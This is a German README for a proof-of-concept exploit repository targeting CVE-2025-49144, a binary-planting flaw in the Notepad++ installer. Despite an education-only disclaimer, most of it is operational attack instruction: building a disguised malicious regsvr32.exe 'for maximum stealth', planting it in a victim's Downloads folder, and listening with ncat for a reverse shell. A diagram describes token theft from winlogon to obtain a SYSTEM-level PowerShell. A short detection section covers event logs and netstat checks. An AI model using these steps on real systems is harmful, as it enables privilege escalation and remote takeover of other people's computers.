
PoC CVE-2025-49144
⚠️ NUR ZU BILDUNGSZWECKEN
Dieser Code dient Bildungs- und Forschungszwecken, um Schwachstellen im Zusammenhang mit Binary Planting zu verstehen. Verwenden Sie ihn nur in kontrollierten Umgebungen mit entsprechender Autorisierung.
Dieses Proof of Concept demonstriert die Binary-Planting-Schwachstelle im Notepad++-Installer (CVE-2025-49144), auf die in GHSA-9vx8-v79m-6m24 verwiesen wird. Die Schwachstelle ermöglicht es einem Angreifer, SYSTEM-Rechte zu erlangen, indem er eine schädliche ausführbare Datei namens regsvr32.exe im selben Verzeichnis wie den Notepad++-Installer platziert.
regsvr32.exeDer PoC besteht aus mehreren Komponenten, die zusammenarbeiten:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Notepad++ │ │ Malicious │ │ Reverse Shell │
│ Installer │───▶│ regsvr32.exe │───▶│ (PowerShell) │
│ (searches for │ │ (CGO binary) │ │ with SYSTEM │
│ regsvr32.exe) │ │ │ │ privileges │
└─────────────────┘ └──────────────────┘ └─────────────────┘
# Go installieren (1.24+)
# MinGW-w64 für die CGO-Kompilierung installieren
# Git für die Versionsverwaltung installieren
# Repository klonen
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Als ausführbare Datei bauen (maskiert als regsvr32.exe)
# Für maximale Tarnung (Debug-Informationen entfernen)
go build -ldflags="-s -w" -o regsvr32.exe
# Für die Entwicklung (mit Debug-Symbolen)
go build -o regsvr32_debug.exe
# 1. Schädliche regsvr32.exe im selben Verzeichnis wie den Notepad++-Installer platzieren
# In der Regel der Download-Ordner, in den Benutzer den Installer herunterladen
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. Benutzer lädt den offiziellen Notepad++-Installer in den Download-Ordner herunter
# 3. Wenn der Benutzer den Installer ausführt, sucht dieser zuerst im aktuellen Verzeichnis nach regsvr32.exe
# 4. Der Installer findet und führt unsere schädliche regsvr32.exe mit SYSTEM-Rechten aus
# 5. Auf eingehende Reverse-Shell-Verbindung lauschen
ncat -tlnp 4445
sequenceDiagram
participant User
participant Attacker
participant Downloads
participant NotepadInstaller
participant MaliciousRegsvr32
participant SystemProcess
User->>Downloads: Download Notepad++ installer
Attacker->>Downloads: Place malicious regsvr32.exe (social engineering)
User->>NotepadInstaller: Run installer from Downloads folder
NotepadInstaller->>Downloads: Search for regsvr32.exe in current directory
Downloads->>MaliciousRegsvr32: Find malicious regsvr32.exe first
NotepadInstaller->>MaliciousRegsvr32: Execute with SYSTEM privileges
MaliciousRegsvr32->>MaliciousRegsvr32: Create detached process
MaliciousRegsvr32->>SystemProcess: Enumerate SYSTEM processes
SystemProcess->>MaliciousRegsvr32: Steal token from winlogon/services
MaliciousRegsvr32->>MaliciousRegsvr32: Create PowerShell with SYSTEM token
MaliciousRegsvr32->>Attacker: Establish reverse connection
MaliciousRegsvr32->>NotepadInstaller: Continue with legitimate regsvr32 functionality
Attacker->>SystemProcess: Execute commands as SYSTEMBinary Planting
Privilegienerweiterung
Persistenzmechanismen
Netzwerkprogrammierung
CGO-Programmierung
# Auf verdächtige regsvr32-Nutzung überwachen
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# Auf ungewöhnliche Netzwerkverbindungen prüfen
netstat -ano | findstr ":4445"
# Prozesserstellung überwachen
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
Verbindungsfehler
# Prüfen, ob der Port verfügbar ist
netstat -ano | findstr ":4445"
# Firewall-Einstellungen überprüfen
netsh advfirewall firewall show rule name=all | findstr "4445"
Build-Fehler
# Sicherstellen, dass CGO aktiviert ist
set CGO_ENABLED=1
# MinGW-Installation prüfen
gcc --version
# Überprüfen, ob die Go-Installation CGO unterstützt
go env CGO_ENABLED
Fehler bei der Token-Erlangung
Dieses Projekt wird zu Bildungszwecken unter der MIT-Lizenz veröffentlicht. Einzelheiten finden Sie in der Datei LICENSE.
Denken Sie daran: Dieses Tool dient ausschließlich Bildungs- und autorisierten Testzwecken. Befolgen Sie stets die Praktiken der verantwortungsvollen Offenlegung und respektieren Sie rechtliche Grenzen.
| Datei | Zweck | Zeilen |
|---|
main.go | Einstiegspunkt, verarbeitet die regsvr32-Ausführung | ~80 |
winbind.h | Haupt-Header mit Funktionsdeklarationen | ~45 |
main.c | Zentraler Reverse-Shell-Starter und Erstellung entkoppelter Prozesse | ~75 |
shell.c | Shell-Handler mit verschleierter PowerShell-Ausführung | ~120 |
process.c | Token-Erlangung und Erstellung von SYSTEM-Prozessen | ~195 |
socket.c | Netzwerkverbindung mit TCP-Keep-Alive | ~85 |
threads.c | I/O-Threading zwischen Socket und Pipes | ~60 |
utils.c | Eingabevalidierung und Ratenbegrenzung | ~35 |
obfuscate.c | Techniken zur Verschleierung des PowerShell-Pfads | ~70 |